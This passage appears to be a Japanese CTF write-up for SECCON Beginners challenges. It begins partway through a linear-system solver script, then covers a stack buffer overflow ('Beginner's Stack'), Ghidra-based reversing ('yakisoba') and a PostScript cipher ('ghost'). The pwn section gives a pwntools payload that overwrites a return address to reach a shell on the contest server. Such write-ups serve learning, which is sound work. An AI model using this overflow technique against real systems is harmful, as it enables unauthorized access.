45845757308083261668530522875034627996783709569863233098047561652579557306424, 2775727786067786369612005152735497994163552034471987327394203948831406055344, 12793217458360757298036797252307606605290541588020948565909666055424558470465, 94424503485423185800598199437034072966844455682676548002315318118736234627613, 106690153748759005912138895281852108724344285134356283884068668867449842790206, 39026945370860809728686218680893758562629902717223351666140225170115043158322, 107489413215704751992005763280895204485647742751493220311119901869442394569797, 53217087509617802597461114021988021078032180476465829359157861271083671800383, 76660036615100580507183408040259123781545299273316552796635006365182954665584, 63585972528958406556233509727563893528827005040927368342768816475117834923597, 111087676907375333465879894028414351542576407708994783906537410094942989043249, 80189427126898106094423115966893042015399098229317405200538526363439658788844, 7981533774806050778678409879266802300496127709584733582063123375577812019792, 21937964212145745905078128669623876870236307083451823253559251240347471208931, 36939627578140674571905247466250150983084583373418221795156907857012046237543, 33851882605609674011195356264921995356142045425085391456769483888289585916589, 56064113871691068896268084227641092076316490762432558231702183207585702718457, 64606999668981712752374732956468680335155238700559804893143750253796112315141, 4601714492847565984405831599389291280342036398034331446053617327969299781386, 80905594942847198580341127809075435802654300994619403790893153091820489464504, 32064463709683939193793848168774355938409238535700935729343724478907148200544, 12586494510459289221581359233377277271617862195196108198152812101067428097477, 82876258326988411979956247485252895504551994180035246831895304248979280096291], [81878442135760997848635827039973519418897135608379147879107097912120286019177, 69531376968064853392639993840003830880256713371110425358834950525654215172063, 81836884576392153403445749551533004456572190606292112024330233342059714108206, 41600248375517903276212388881738281184816631849890142443529909516206836454930, 100216063685731918900505598177208074950580439101534306276189505143478721306704, 101388806483742966730343786213525620325497261262170558232206368381276029171840, 35847272473035118640639988643236607531682051023200281857560854248173364622278, 81579122415626178469586058416823301438987402402491621126972227364885929624555, 19719582232059510562321236531508947179816262679363053249574948145110223089053, 98750307161026941589317256621915845173707117612672161116226951078395662736730, 29444706285624808342311799889748583162649556734187484666903096435119492825248, 62896811570520319755603715121259084412776745645441591837282803327714882854845, 8503502050971812898038070332401046151574039791615889922036339502387602806775, 41811770768681664943190657769386615566236907490576617194946321522227434815956, 99439505861456493511011749333207147101168853265233438851815107199227527154031, 50047686702110550703761730138629444573791210554594373563102335004377324541040, 72568248168243403844300132468494519756035200831152491131647397465459036903427, 15415541742771722676705275727351080976106527631586390103397627047443972929885, 70347946899864547602667956566427542592702293168869513861630882993944482790700, 23671222636025742947943465140657358896770909289216346895126865006072130620041, 52339083912704453397498892313891228624872115828357736753986567767020632569835, 97122247791087098145339305328222921448145383755362792053550329507273975116000, 34622525516674421385660286142071277276096826984537353965830043257063354306726, 43264659121378882313283308548872784023039114676026043086956411807246993520423, 8505121842519528793850806293428045554083489540352126578348704818138693675212, 37818739169018187554004363005062668730305366635880622906054284604224673923684, 72101615970077160119015344204847445578570472153327284127245736492293259831897, 1053105354609959747841139664120202472458157395522761529124162273213743367815, 42465335038354444472226496869462526444798528486429218413405977048760327854230, 11441179590384067761503625320986171790371500327791367237507285077485978995566, 85857632681149901060680831784547634049509585870081653392696184546069922854072, 114481021524119822354627411881525839302990399846242727690469627059205521767558, 46350710386347330914772353335939824458636422412066031802445314259653806414208, 84962740201074199798172222083913669615368041922531605996291521250255076521389, 93481831695988997798890086058421692460920947236089683828385117681139065764274, 56606980755180765633337107572359384272968324321449240224359047644352327888164, 77488218072511384081566317909507683287641438085472441037455581802140528298692, 115236041478008437946354933962300051490320219524448844065649796143347267655474, 102699920206330091311459280392958092951067501541313733362333669058005778411905, 35528735539372873834624496570303693977571233066214789273310602696064689789142, 87634769090919364649729652400637032810049960854698305132492033506692862973027, 94721464947809369378698094447195026171961466369438896240654196393728908777031, 4783647275223063952284324073033431074063729247435792829231591140330346862028, 45221376470412170901767260624329864441720601882443315979649748693100605759278], [14937297676053339189264472852992640990721728850538139707205924805918822707080, 38764136226177266045212093394759142887240490230816940683045990531993155387035, 45761460764828962298552056668156513154277291871944693807581674147155791104906, 102259224841813276235775883906623671736201229623636110897675808442693801232962, 74229871142588040577891225693979217433228488345944138034849290939351650819621, 103069667851968150904112690010496845974252231229416079580705285834732585613573, 53670410471752001539907277899596631722672951349713359716617141372030600457235, 82853449129642979763966384027741550154880134060057046446691018639000474545440, 33837370153425485277662886925946607473060562649987934624898851285595807527145, 36404462657113478989604941982837773327861138850288128047892057487739177581010, 31816005878758083025482557298013704832851267118275609420044895844096375192819, 112079848012455506476175559411254181398888022238433034493932111254340398518619, 52839302087279979629788812222550487917359841025950755312352453968157548874340, 10150287582590559075504563824348066751489049371560266266870812922030566477142, 36341565806528861276205768501769182974215390064425137190085287025309998935350, 21614576502775611999491592617004463446030744579998931488929360262766832681414, 77668881689923180757322253584302177715525673587396834020524540395634372628136, 99452769518299753392351067560432460100893894661911433010827418701146511587, 22760264859973032540755766987856176243071500500896243656139359099938166291453, 53457505404062806386022824109767514051476682857672858366409929004063482649275, 45473475574876445386078649131721473447449740024170044897879147767746617921353, 38807329586176952585326268954036025137225773355171572036598555765487944141485, 4459092645984263763550022881823579314000498094533002848484969111069189480615, 53205589799737492738995946270454036332140969525603672395399350843518052751445, 66461124272511015665079238513886309025053132639357221036201786532519798952304, 66499541363428652155280425072637265133033461973225112888849350131587409674674, 90365959294168064929435932409887226763394237922925921125416460399275086763396, 5042798456432235484018912237614252522745319177650358459452113900675604335721, 54042004016862291560209085922983962992311962250114710811825157847503097936115, 96407485754202715505950492509981460151729035172887257736159095981920018393154, 54943844625186246885194694209207176743871091087274988983741080788921119791852, 14652185703506293325862974121893837518312828986298034165296976638736612127205, 15230868170576447239987754862909992946396325873082562631802432004090983821599, 24240515884364557384136413646270780113503518436824515897188364737885033570212, 82920316489092976629379793224226829547194324941466959134002172632165454645121, 14569524267246930400451142177549208021975145944290394603525409379634623370259, 93045967640819235629107534877514376291421986245419249095533201239578000860117, 100956337120642349018755079591204976988157913805723797996322051803014653950906, 23970626181382100824653300055173333746067941890486910118870815181779547845786, 112868080743075784327214729055303433197204300568360276461064404077815720010078, 128089325488236769497647704593253757680322107214882281491241283218263049847, 37223717213424380893140584900598427163116423065627572787127123558974546956648, 112715906472596361011477782081721138762537349835423085668544164497503726971917, 38501241036374787826255380247244077755547871260423366615678455638835985677397], [66920517730245812833533037966798337385003791301866251945851481286318547116297, 74123624744047552405484025689974942171432951292940602083413444317684775650401, 11614342837382643089322299434090920898198574858987440025163893855306402185240, 68118842433551430131372871264948480513228461077995637785405891638533732762642, 24757197542608470995934406923283995859988803545934749449684190039725733668494, 52663655718900889007114704865476113213489878621014588955784582221536436065003, 113716135388379618118857659908774094833460544949138016111032205372099972593912, 84064119040417269388767471463506371595441107585951461911873119495673321304189, 715007469585822476667864884806033090496344195531380117816772733244364067375, 101460125797196056638853608659901780007475726938990432129126571911249760827039, 114522090267560931098995329972859010279688719642922836111685257763873342082373, 84378080023143792630516669908474630471483597881364686575685851518860230890469, 108674071589981423190478150885879640580402459023200766331661135453413149537222, 19971845349530642689831647485984865664431209360059229971379922150153433583701, 16012714992811760412201750026667228350875019384665718265445872327457361358034, 94160638054413242718787734314345033908500248695677653522017130321533966920122, 92898767518953055456146999189704434347776198500854868149053926059410770647534, 109622942418922867984290679373676771824321419035448612145505003471791493463810, 29797606459739722051556946413476581178314222891753575723281086855761638412739, 58736390452065539466727610856067942575577567082141127651656022811428877811108, 18261833255218114052482204975401485415211087175185713803569176600644081924715, 97547086851581738874722557605768694352536331489963869651032886189517737366165, 110460117553047665418627789620026796294661884386958210369770783709464120696376, 57878781726737722786323760679577759130792567722063249973924990693237635307929, 7312818148478002388678294215316292939666248312685279181952799115089754740020, 52238862340072814153925446992661412776761951794164952770096498313943190932538, 17314080345074016976801017707474815726679045601972073736694899407792542850772, 76512922356681973546576490680418188367347694983024599685605485287200095717843, 51874823622431730415315642981133865120364130314821718850540964882096583279850, 66707553222171616362063953008377876274795105065946261849758938647489131213118, 42999996939345525357423811976420130473072931031961291516695587248482092703469, 99761755768584773234181837127114863542927132719787769887541479140051308586698, 96105863881187035555105244389634744659821617092594316663787576985898216556097, 84080794156156175131914445496848529257210531641345010554227680949725457535595, 73677380439724721543403928154152823273070938538587114825592918924533375495310, 107924194981145272774011213079624133871961458925206141213512895788878274691421, 50364246355913740083366475902472584607619751217929831255535945073250049136979, 95248009772784120152373169444648415612126721785722843442584977845382119694755, 112573757140388192331750243103517971477039991041596401082970163937551678335950, 100130245234386060551995569565242927792296756813636057000222685122829125376716, 105617493615007612437128032923855237831606433698805429025532732232476054237582, 8816648613024894872812725488868482614071109454239187794006018456701246095895, 34222275841009711390002475802507052161144713224281845302483513094114819412558, 114301397905886111886138246085510676177553118993949817539435437421137737668774], [14316171799470170509280180262084503254257884291927669574828471743735103609048, 44863520867335517524242562371608230553423928475874890888427804179096300598903, 42551185840843533737736263035231273149204948133251469176859602135001216561529, 42743069584123727040418483905409425731462035954710245312038307116416745966096, 57312534942562826681864259443616855836393946277152677078566482724627107984926, 97478828202194315630321185781815681870407040056327926915971052098910632525507, 19030070022607051120936090812371865031850888369929137099516819227948170913071, 71360990308220426119900503190720216773613395356966246201706118264982170144288, 80419166003956234917859840572983809215704852299212945870714162521256188790004, 91202954202332623038903085749658034281318753074503088813191088988950688173121, 87391460238680585717910187602084705849621992032627943223349670554161445915837, 16056485541750729363719299468171861200997956973822140486562343079831203796862, 67823861761071491479249699591255695721785099387059674594393496662746744493464, 95992450711227751990517277162622273012094643649682486860088246726869330723631, 10237551336632038859208463105955885715693432105894040454524917969464694525424, 29805010910507660558104269402304682346561028227155437955288746805956455230722, 106867821204460957800201765261256408345695241647027324383104047043811268638651, 68001378014780470261039956720979343202854763919650851538116788092181608956343, 39663063908740705025011763418373686046233130918775760277606156887976330054888, 8774615030322060410483344293698693885317770700673044019686917971049515855663, 8268263198853767917061213963075125303075912568935470502077603498995951065811, 84868182452315470600771518518153781619694087037473037341564094869706494776231, 28304208412540434342329525077379393560288233490250479375314647626952542828939, 34056655991880603838111347940057051413512221596324003488529561645695033760597, 3971219938946218310748736440862953840752966297134384429811439093232837824530, 87339105864927104069449071884738979769667424681427355632572554391971692026815, 110970520368088284646623676062239598515656340779817356407304454899474625125092, 6600743404613887851292433297217541854450893393284808951461070863732155793127, 6432674475084750256656737922725003509836512169957329880925906194392723333622, 20455282090965872397292161739376638482481488147949732073561151026794925635918, 56742870076365294930887666499565188777787046622516143716720245809245219858377, 62728268780770391666207574482019381563316363746835971006663246638780468864792, 57764476181065689509857228893502779248962166753958095127895416955853042823617, 12741342151493213177527792516909747515704348480045517579959110163804194529103, 53417643203864722748063238756066736398659635037196766807708223728483965870304, 90724439247732626491017825849559440049770959135077274001605699571509223625757, 112424366908225329165246025763146625442749946372848601695273843367212227450992, 71674866793487037478504316127383759693530892801819763692974755218665807824179, 22253336879378319845970209671213228923975530443755862879879891531366466122557, 6241837987586240415646309487909940129001008455309165762340860668540045829133, 21950648781963425643815772400676202886533121837896235123146051702320697776119, 9090566000850995487941220121263538973234808303306343884884723911166735969577, 30437814628573583065602117212161665779940157372619090375830567928853291538802, 109142947414533990900878558031462310113067890547221872745360780838355956670950], [64008481768459190346223436398664437044591012520978551174941299320909418331462, 22637633827979404781992528080312195042808887500547463003638211515614280072193, 21364669595708228371770536032074776934256795537352674450930603365909762418142, 26054551360376785085683357890863015270443629269218014867881452372910937944739, 24963770579778799094275789925288028256852679137290851597253756930257076154270, 94420320265739906844954845241875037863379709132470699895042234570309507919847, 24123377312362553273201081884043175623333425592607828643838979074622213573907, 103784681882385595426731012054818521305467394391968545782835890914966836133572, 64826113073080471326578092798078541277652979882314776439037379721773643601180, 44480210428876138224443557203049108422778989011406351698372768292266119828649, 39019207611688384117866628138706110761550021086497154829427998910542096348095, 50695757476113954359540201594418571802830670600313132484388574075363029831346, 2350010993920469791380328041297041993902662324574840907668897823426149688650, 59028047696328753618126186137041856330074013015413769429220749725390997068852, 90913384743751720581455564083160159233218025853313898788954518357858176576092, 54190533114984601154429633641376695411263610114105876056789785264751162092678, 65451086148854961597684683084319727266364534284565538102729720880035294294776, 47175373421910616708149381649378683107120820161293477538501883942491323062510, 15424263923179630117162650087192276964078452890260747627836503779483870115281, 15365083037604400026711488177679003022701627912126012757321201001233219811790, 17442981648384707992046067865313730749652619154885229448515711393756910141725, 11817645391906941483894518801343391566394318322207081843105808196709759009994, 88153218647124630449317346623571751988817343206575833726951285155019175803004, 102659344824798061880481168556154020915106434679310165456602752929168697819478, 77810846851259035220485821044939446343738733303249912456437175400088699707800, 102826003877364890729967703056458813680255366746797631743006513578476574660701, 3174891822156994926236052044466252132569297950751643624023304043890782749815, 42315577651786939623250988615678156398266401126497539544235487000692866730071, 32086788043842054046435683897957527306391260505577759336293488628433764097342, 45401517080258630015098458845173263112622046862346778483761978003437374633970, 56646416081722686297295171124775293985985305553185504849734786408114770000241, 31860059523029137598921469382769676175649154124922001509613319523225322801991, 84493711384033017642349869596449628421820706401086000634836076125655307715090, 68260716850319206151993494995087929922731144123322628976218172677125367282897, 15496107943116493974871942980108557935647467485351520332292283299489534495704, 17931787744480155949272445804819623376189344121373744192863240157912742438419, 91892273904074021774804837962001326106516838046156387824540912686433415782443, 51347696484647492643974880238589876250808995163555070267960364876254347107562, 24074691174952941189181138328748067748378515847047561900017407713702261069606, 66185418250482193585556965965578685300082155972582289338188191179450744202899, 3074383708127800294369282558251748639200732347697119469651561995878547311390, 42904786847387009011313282175840341288041583527704607044836773116244176297429, 20541383199664159949015890372233599402803562903003707747767052065734161393840, 65194307369180006180267592491003553699293348402177855082058392868499673964015], [110759943604545089620681271907660159424105570543432128378719811565299813737290, 20570314709714379733331212992740726443984973163914613259548439397288963335931, 464064360968990037677470399469145501466916526838430140131413638326197815401, 102502191375632872326465496113759512849001173735743064480331321138546028640389, 70641894591481604014654281266706992982733877968484692384192181595040076439592, 112195530229698023646716515140694436281719733642694846865414526846075084500110, 100954870050504829097270601660972561903451045060618008659550180610076582427853, 26915692708478208121892964640844704311027681327833364274794012759477924883043, 62251377762992338643880995706817249969023408676888406199776078120692995489644, 109477416140917525621151837816913627875576768835185773893733965478284661866294, 56783776784918606696211227369983830083042703579079378234422281919114547995514, 104273953114735168413767031100062992239602886896904600371826701388873535368657, 54394714850501293868954855169589095087903586736485534325197295573398946420242, 95515998946285651929515468304118722988660613652294138689040343880522390845446, 8941084594340332968746882094032271475882630923665828628738569777927140997160, 65476223770801179474935492667213248621732426676732450500621627902870004244635, 79115404934535453575166238750774810698324755633153929789583592695042586944824, 42070606431381631289675689130713339918310104745405093364058307533022101279368, 17011424097806131379597246376146499975127549139155732158800928545697199459695, 43226776327514513227706368212317766847902109790466687671332288562542024464660, 32125069277565802194134503096530525028519240861502287032031185870589847286646, 112748214309894393141774722275337620138796655384973685971247463388008835810164, 93887151113026571684652084847802857490645195251122834851040559102528381034134, 105697666287239306930714521000550126574297066718168177085371023301880292833987, 60895467176310536802085622840061538299479549041967410435970989721890827376596, 59151101864545026425643898230914629198323899163341557791322814169685935530847, 15608885046025180480514884917223909259916122527376261355532896917868481174070, 100015440194363231276786834550175119125702057885028641660742366515687022890101, 56399500873918825246378652933079525997008099230844398965119334585033145995313, 21871320140792986219840675191804404813508687116309181882553269264823312154763, 624709687014263404842460350752450719677371809182345991885995865078960458574, 14659812057753881783248402671167325680234257883837989176857990491400807805380, 14960787019182949741952459365389807653747241965676891532148286626694544326542, 45433044910631324112562043395886178230120704558917793997690145475708909604688, 60220642775400477711644584447717628220258937096126867007665121819452721091886, 58730352982881224042982914486804850565896223848003766324823321522094739041623, 33892952842733034618841095220388955130308751025275322233554824325951256164547, 111718242575700777321847012861934081443992722379592803098122310678483290834296, 25428710869360021715773904506146172298801233839427033047230366421840807965060, 44225536706524334425685384881923279498809500525043081152118567572981882432562, 114007376062199325873104829509369465678396228655947466572141129857289392651479, 28851294284693681596146290141952762979115084114573572379496734098991975900369, 65346511402096426571732139249548871476516786736006410448775045907432009267182, 61529602628815207476761536858977986070191390454598490532852075099392639126559], [46536619176173332115787315100042075376476137861148117127633945795024597776635, 15430660300420613007714634317515349286752524435491956911852241668922510581438, 18872419302859055823293792259190663360412911369150217258817669124740625165757, 63689991339892971432491425662323838317698578282606053685695155762034662377937, 88218751861647431520653467345550803790533091356754192412794613314908660976524, 53947973292801861714450656243813599960765173331930639113624286515130484978313, 106158622363367770121518816636027597579545743586267483383675837130485044514901, 32338761621631713498026835363945612499564608408279126191654802508974385358285, 11683566306040562526117412927619378672226639181300618159252309949340120224445, 9111048809884233233744390167626880789052421298705492124339302817532711889063, 66105316321914454448254008293015764243969578908012079734276560040049601555539, 74931154564873466977637527792106190775244497710608183082488284843346898712976, 115573262983305205612737583151461507868704190180774468287178490343945962052713, 21030139128136336608000166467126668390253431855344848492581687216285871035622, 64030491516535675399758784058933405826550914618473602561425606240723790748078, 112911395037414299585842248363901618062612344132555518518367661450503283161673, 39210910183604153159432135751314442830848942870290061278636559081975760818983, 96350368583084011699030812510499118612764295100266070010611825128662020953631, 31934304256893369708046421596642437557083834297311855572739890953317609836303, 51910410563780235518252818506851289895061966500804876444627851469498313889504, 24417427177005218517073239111750055708458427337824175109342202521851600066377, 99593073650273700231778630161608081970215863034763369690077844020768393728871, 59914802332968621289254056294586892903851724873622879738989978583016170686648, 72846652660866191197252847929924247777339485510625820434071159675708244149777, 9645487726726949182270670486626748466392019103173041015964548179126643864022, 96338865039169517514071603874783123227793433930732372726717702679249045402007, 30834020312923206601389493388620308005296952349839271518110329134093361327935, 109640516146387554929426347858187205902164213456762996823845853456416251551102, 41625346499702394342215272832371996199597380124219206421760179728009750576700, 23215573095043530599833310569433091882019201029064704261802281540053040018326, 24089877600608948941984733984306971819052374764480917884792728740310227724256, 90735549465197448907176910393009716281069731269273291587278658124245244980979, 66926574107786335004897506262809121020943105028298117027577372447320016870869, 10766254578469880445190728935949448047038578416202579668579368022078812707138, 103976013953017103747148045141312352324636775020327432662031738376179868290369, 34044941916751958292288767640907051149988931200096549389426058257817657356984, 49968213735598095693913382856092945733268549032147080878272456994145333524951, 60762598963030596946097164926281679907321613137305876513064445777555693099543, 28101865644721400842468892975525002601951915637155262198547626068553438634585, 38471817605250107259666732140476406148728803211428044620033994947533046930857, 78977608046873872834006228671239950783203772376913657250964811889992516246982, 51613191384671183874661014934813269339602933868341748362958188458095037376674, 5848725110433184639703845951225086176595324879879368925798544341936197243296, 31827089495635228551166704221543963325542556831482378080903727821978624311361]]
answers2=[221630222108046602051565196216483010541777466541827379962475192121028141402974113, 235730663332050980620633184995721066498965091409234433187826669077220927040837741, 228661197182768439236537772126173263214884954660469269181545969156754203805804169, 179665694010709381715718461478784926306447469469816099484311407835519635438867369, 264484257155949520634559675387719186304188526340780594980310919928656916531373277, 215889952364198594810492622283192960283352046794007329325150899584666369608391872, 232486203814007397723773360174555582415514413209788259510073860454837647715038463, 214072988259290952695298233895612697881712229320577944245451506072766259526235023, 210935082105264027304810130894913563210791014728351478947527392199984659150172499, 204467958886719092683330145223898171105271182022465924801439114290242323545096613, 231438934834777700263478290144840848862586162533880228642793018221451847986218471, 196634887235966176830117706901146102634305617426126079770986526281150298445709426, 205939540257588154647668030816933199756266777600512411149627321725479877081730097, 192552003288155776979995863516552307466945024099551220165700013710706517638769518, 243417699699584656638894650476719566368344689025989865962547124478189221052266098, 190741520337614216604758633358663690100001505168545994765876854012914131468972378, 213698820525514652857151008315793413275115867673549396400308179802307794222117157, 209643620726172921037231634114125667873386907772305200555842451593595264141149782, 237329529019659790670012328861689929551828592349542100813545207811780972942056884, 203498479036619165616274181631118870779311949187639688300201681929924055843668811, 189219847071404502509558510203830080782957774671607571461127939139285862253927759, 209113460001986472717639742538083463380813984026254602535209161489018315182080555, 212268960189014620479649856973316546630232746809563992869596914706101020586340849, 180260859494527346324224429805126189763027973175807676895723413096579572545063038, 209783354724176817207809774651644290437170556144525901249291265134415596014173628, 227751722080618429615962712148301150985406999731212107141471163675657961909003991, 255931316870618900746375974828056883089553234497166737744877714590328736724060823, 182991075628418368224062777634799036011757367562700132463147201947960438698697388, 221293064930028651183045266506687258784361319602094194842029433201486856393437283, 203425651559424046693594830463755419531385577166706452993375552379229271249117899, 207260082614305718668891878376030882201055648488774373699784364136252910641211096, 211399365224311945084670324522095135542008903774302617945697446424211957897957560, 235837117831419504202064142370565264027856102574984963791551342542448844659230157, 220491588640187735275295491316932707625053380921318844617467501651274286962222073, 229515283421586011525925596720889003433516295008274574837657952601073620977314424, 253923729553470846821137002682532528896672792723744173950019802436416436557749203, 196802213433727767680275866744807662938415215674123878831248676185882994683071577, 226723265328779566186726047176420110062383363423574799382078073147968529601984625, 201421699237126241265423788298888019739511395487235981956016712893791562776520893, 260163878875840403102152307404079960300857702456957945052121128241831313180335115, 183916668184841268291341696534403002432666551683485542050372135628731044872721975, 171840445092733429727927032411972304886746886682815957010873311870096764023661387, 225244760898643043779958680476162863278400342377369126670572995024497029493533263, 192139125729657011106926939925379043389177026156810227329344280715782692885596249]

c1=np.array(coeffs1)
c2=np.array(coeffs2)
a1=np.array(answers1)
a2=np.array(answers2)

A=c1-c2
b=a1-a2

A=A.astype(np.float64)
b=b.astype(np.float64)
x=np.linalg.solve(A,b)

x2=[chr(int(c+0.5)) for c in x]
print(x)
print(''.join(x2))
```
以下を得る
ctf4b{r4nd0m_533d_15_n3c3554ry_f0r_53cur17y}

## Beginner's Stack
とりあえず実行する。

```
nc bs.quals.beginners.seccon.jp 9001
Your goal is to call `win` function (located at 0x400861)

   [ Address ]           [ Stack ]
                   +--------------------+
0x00007ffd31997700 | 0x00007f17126c69a0 | <-- buf
                   +--------------------+
0x00007ffd31997708 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd31997710 | 0x0000000000000000 |
                   +--------------------+
0x00007ffd31997718 | 0x00007f17128df170 |
                   +--------------------+
0x00007ffd31997720 | 0x00007ffd31997730 | <-- saved rbp (vuln)
                   +--------------------+
0x00007ffd31997728 | 0x000000000040084e | <-- return address (vuln)
                   +--------------------+
0x00007ffd31997730 | 0x0000000000400ad0 | <-- saved rbp (main)
                   +--------------------+
0x00007ffd31997738 | 0x00007f17122e6b97 | <-- return address (main)
                   +--------------------+
0x00007ffd31997740 | 0x0000000000000001 |
                   +--------------------+
0x00007ffd31997748 | 0x00007ffd31997818 |
                   +--------------------+

Input:
```
バッファオーバーフローで、return address (vuln)を書き換える。
8*5バイト埋めたあと、0x400861を入れてみる。

```python3
from pwn import *

#p = process(['./chall'])
p=remote('bs.quals.beginners.seccon.jp',9001)

pl=b'a'*40+p64(0x400861)
p.recvuntil("Input: ")
p.sendline(pl)

p.interactive()
```
下記が表示される

```
Oops! RSP is misaligned!
Some functions such as `system` use `movaps` instructions in libc-2.27 and later.
This instruction fails when RSP is not a multiple of 0x10.
Find a way to align RSP! You're almost there!
```

ghidra でも見ておく。

以下はwin関数

```
                             **************************************************************
                             *                          FUNCTION                          *
                             **************************************************************
                             undefined win()
             undefined         AL:1           <RETURN>
             undefined8        Stack[-0x10]:8 local_10                                XREF[2]:     0040086c(W), 
                                                                                                   00400870(R)  
                             win                                             XREF[4]:     Entry Point(*), main:00400831(*), 
                                                                                          00400da0, 00400e88(*)  
        00400861 55              PUSH       RBP
        00400862 48 89 e5        MOV        RBP,RSP
        00400865 48 83 ec 10     SUB        RSP,0x10
        00400869 48 89 e0        MOV        RAX,RSP
```
「RSP is misaligned!」といわれているため
0x400861を0x400862にするとシェルが得られた。

```
Congratulations!
$ ls
chall
flag.txt
redir.sh
$ cat flag.txt
ctf4b{u_r_st4ck_pwn_b3g1nn3r_tada}$
```

## yakisoba
手動でやった。

とりあえず実行する。

```
./yakisoba
FLAG: test
Wrong!
```
入力した文字列がFLAGかを判定していると思われる。


とりあえずghidra でデコンパイルする。
entry を見ると、関数を呼び出しそうなのは以下。

```c
  __libc_start_main(FUN_00100680,in_stack_00000000,&stack0x00000008,FUN_00101070,FUN_001010e0,
                    param_3,auStack8);
```

FUN_00100680をみると以下がある。

```c
  __printf_chk(1,"FLAG: ");
  iVar1 = __isoc99_scanf(&DAT_001010fb,auStack72);
  if (iVar1 != 0) {
    uVar2 = FUN_00100820(auStack72);
    uVar3 = (ulong)uVar2;
    if (uVar2 == 0) {
      puts("Correct!");
    }
    else {
      uVar3 = 0;
      puts("Wrong!");
    }
  }
```
FUN_00100820(auStack72)が0となることが"Correct!"が表示される条件となっています。
FUN_00100820　を見ます。0 をreturn するのは502行目のみ。

```c
                        bVar1 = param_1[0x19];
                        if (bVar1 != 0x7d) {
                          if (bVar1 < 0x7e) {
                            if (bVar1 == 9) {
                              return 0xf8;
                            }
                            if (bVar1 != 0x3c) {
                              return 0xe8;
                            }
                            return 0x29;
                          }
                          if (bVar1 == 0x87) {
                            return 0x8b;
                          }
                          if (bVar1 == 0xcb) {
                            return 0x69;
                          }
                          if (bVar1 != 0x7f) {
                            return 0xe8;
                          }
                          return 0x5e;
                        }
                        bVar1 = param_1[0x1a];
                        if (bVar1 == 0x78) {
                          return 0x75;
                        }
                        if (bVar1 < 0x79) {
                          if (bVar1 == 0) {
                            return 0;
                          }
```
まずreturn 0; 付近からみて、辿り着くためにはparam_1[0x1a]が0であることが必要なことがわかります。
さかのぼって、param_1[0x19]が0x7fであることが必要があることがわかります。
同様に見ていって

```
00:99
01:0x74
02:0x66
03:0x34
04:0x62
05:0x7b
06:0x73
07:0x70
08:0x34
09:0x67
0a:0x68
0b:0x33
0c:0x74
0d:0x74
0e:0x31
0f:0x5f
10:0x72
11:0x31
12:0x70
13:0x70
14:0x33
15:0x72
16:0x31
17:0x6e
18:0x30
19:0x7d
1a:0x00
```
したがって、
ctf4b{sp4gh3tt1_r1pp3r1n0}


## ghost
####chall.gs

```PostScript
/flag 64 string def /output 8 string def (%stdin) (r) file flag readline not { (I/O Error\n) print quit } if 0 1 2 index length { 1 index 1 add 3 index 3 index get xor mul 1 463 { 1 index mul 64711 mod } repeat exch pop dup output cvs print ( ) print 128 mod 1 add exch 1 add exch } repeat (\n) print quit
```

output.txt とこれから元のflagを求める問題。

PostScript であることをチームメンバーから知る。
頑張って読んで、大体以下の処理であることを確認する。

```
k=1
for i in range(flag.length):
    Out=pow((flag[i]^(i+1)),463,64711)
    print(Out)

    k=Out%128+1
```
1文字ずつ処理しているので、同様に1文字ずつ戻していく。
463乗根を出すのは困難だと判断し、そこはブルートフォースする。

```python3
output=[3417,61039,39615,14756,10315,49836,44840,20086,18149,31454,35718,44949,4715,22725,62312,18726,47196,54518,2667,44346,55284,5240,32181,61722,6447,38218,6033,32270,51128,6112,22332,60338,14994,44529,25059,61829,52094]

flag=[0]*len(output)

k=1
for i in range(len(output)):
    for x in range(64711):
        tmp=(x^(i+1))*k
        Out=pow(tmp,463,64711)
        if(Out==output[i]):
            flag[i]=x
            break
    k=Out%128+1
print(''.join([chr(c) for c in flag]))
```
ctf4b{st4ck_m4ch1n3_1s_4_l0t_0f_fun!}